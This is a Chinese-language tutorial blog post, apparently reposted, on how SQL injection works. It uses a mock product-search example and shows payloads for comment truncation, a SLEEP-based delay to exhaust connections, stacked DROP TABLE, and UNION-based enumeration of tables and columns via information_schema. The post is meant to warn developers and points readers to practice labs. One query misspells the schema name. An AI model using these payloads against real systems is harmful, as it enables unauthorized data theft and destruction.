SQL注入基本原理
WEB技術發展日新月異,但是徒手拼SQL的傳統手葉訓是受相當多的開發者親睞,畢竟相比于再去學習一套復雜的ORM規則,手拼更說方便,直觀,通常自己拼SQL的人,應該是有聽說過SQL注入很危險,但是總是心想:我的SQL陳述句這么簡單,不可能被注入的,
花5分鐘看完這個完整的例子,從今往后應該再也不敢有以上僥幸心理了,
簡單場景
有一個WEB界面提供輸入商品名稱,展示對應價格,生產日期及生產地資訊,例如輸入Hammer展示:
| 產品 | 價格 | 生產地 | 生產日期 |
|---|---|---|---|
| Claw Hammer | 12.98 | American | 2019.11.07 |
| Club Hammer | 29.98 | Canada | 2019.11.11 |
我們跳過了搭建Web搜索界面的程序,直接關注重點部分: SQL注入,
如果要實作以上功能,那么我們大致可以猜到服務器使用的SQL陳述句如下:
SELECT ? FROM ? WHERE ? LIKE '%Hammer%';
其中?表示目前我們并不知道具體的表名和欄位名,此SQL唯一可以被操縱的就是單引號里面的輸入內容'%Hammer%,假如我們直接在查找框里輸入一個單引號,即變成
select ? from ? where ? Like '%'%';
這樣拼接后造成SQL語法錯誤,得不到任何結果,我們需要使用--來把最后一個單引號注釋掉,
select ? from ? where ? Like '%'; -- %';
--后的是注釋內容(你也可以用#),這樣你可以得到所有的產品資訊,目前為止,還是沒有嗅到危險的信號,
| 產品 | 價格 | 生產地 | 生產日期 |
|---|---|---|---|
| Claw Hammer | 12.98 | American | 2019.11.07 |
| Club Hammer | 29.98 | Canada | 2019.11.11 |
| Paring Knife | 10.98 | China | 2019.11.11 |
| Boning Knife | 19.98 | China | 2019.01.01 |
小試牛刀and
緊緊抓住上一步中可以擴展的單引號部分,來一個簡單的延時陳述句試一試:
select ? from ? where ? Like '%Hammer%' and 1 = SLEEP(2); -- %';
這時查詢會2秒后才回傳結果,如果把時間延長,用腳本多點幾次查詢,一下就能把資料庫的連接池用完,
當然,還有破壞力更強的!
select ? from ? where ? Like '%Hammer%'; drop table xxxx; -- %';
可以直接把表/資料庫直接洗掉掉,至于如何知道引資料庫中有哪一些表(即如何確定上句SQL中的xxxx)呢?
為所欲為union
我們需要知道此資料庫有哪一些表!這樣才能能拿到有用的資訊,
使用union可以把不同表的內容拼在一起,小試一下:
select ?,?,?,? from ? where ? Like '%Hammer%' UNION (select 1,2,3,4 from dual); -- %';
| 產品 | 價格 | 生產地 | 生產日期 |
|---|---|---|---|
| Claw Hammer | 12.98 | American | 2019.11.07 |
| Club Hammer | 29.98 | Canada | 2019.11.11 |
| 1 | 2 | 3 | 4 |
可以看到我們把假資料1,2,3,4成功地拼接到搜索結果中,
Mysql系統自帶的資訊都存在information_schema資料庫中,我們試著在里面找找有用的資訊,
select ? from ? where ? Like '%Hammer%' UNION (select TABLE_NAME,TABLE_SCHEMA,3,4 from information_schema.tables); -- %';
| 產品 | 價格 | 生產地 | 生產日期 |
|---|---|---|---|
| Claw Hammer | 12.98 | American | 2019.11.07 |
| Club Hammer | 29.98 | Canada | 2019.11.11 |
| authors | hawkeye | 3 | 4 |
| products | hawkeye | 3 | 4 |
| user | hawkeye | 3 | 4 |
| .... | .... | 3 | 4 |
現在知道了這些資料庫名和表名,所有人都對它為所欲為了!(包括上面執行的DROP),
看著串列一猜就能知道我們目前查的是products表,接下來我們再把products具體的欄位也挖出來,
select ? from ? where ? Like '%Hammer%' UNION (select COLUMN_NAME,TABLE_SCHEMA,3,4 from imformation_schema.columns where table_name = 'products'); -- %';
| 產品 | 價格 | 生產地 | 生產日期 |
|---|---|---|---|
| Claw Hammer | 12.98 | American | 2019.11.07 |
| Club Hammer | 29.98 | Canada | 2019.11.11 |
| id | hawkeye | 3 | 4 |
| name | hawkeye | 3 | 4 |
| price | hawkeye | 3 | 4 |
| address | hawkeye | 3 | 4 |
| updated_at | hawkeye | 3 | 4 |
所以,通過上面2步,我們知道了表名和欄位名,那么查詢API的完整SQL應該是(把上面的?都補全啦):
select name,price,address,updated_at from products where name like '%Hammer%';
通過不斷重復以上幾個步驟,你就可以通過這一個小小的入口把資料庫的所有資訊(比如上面發現的user表??)都翻個遍,
注意:以上都是在自己的機器上嘗試的,千萬不要越界去hack別人家的服務器!
如果你SQL注入想要更深入/系統的學習,可以使用當然你可以自己本地搭建DVWA,或挑戰HackMe-SQL-Injection-Challenges,
轉載請註明出處,本文鏈接:https://www.uj5u.com/shujuku/225995.html
標籤:PostgreSQL
下一篇:第3篇:分布式資料庫存盤
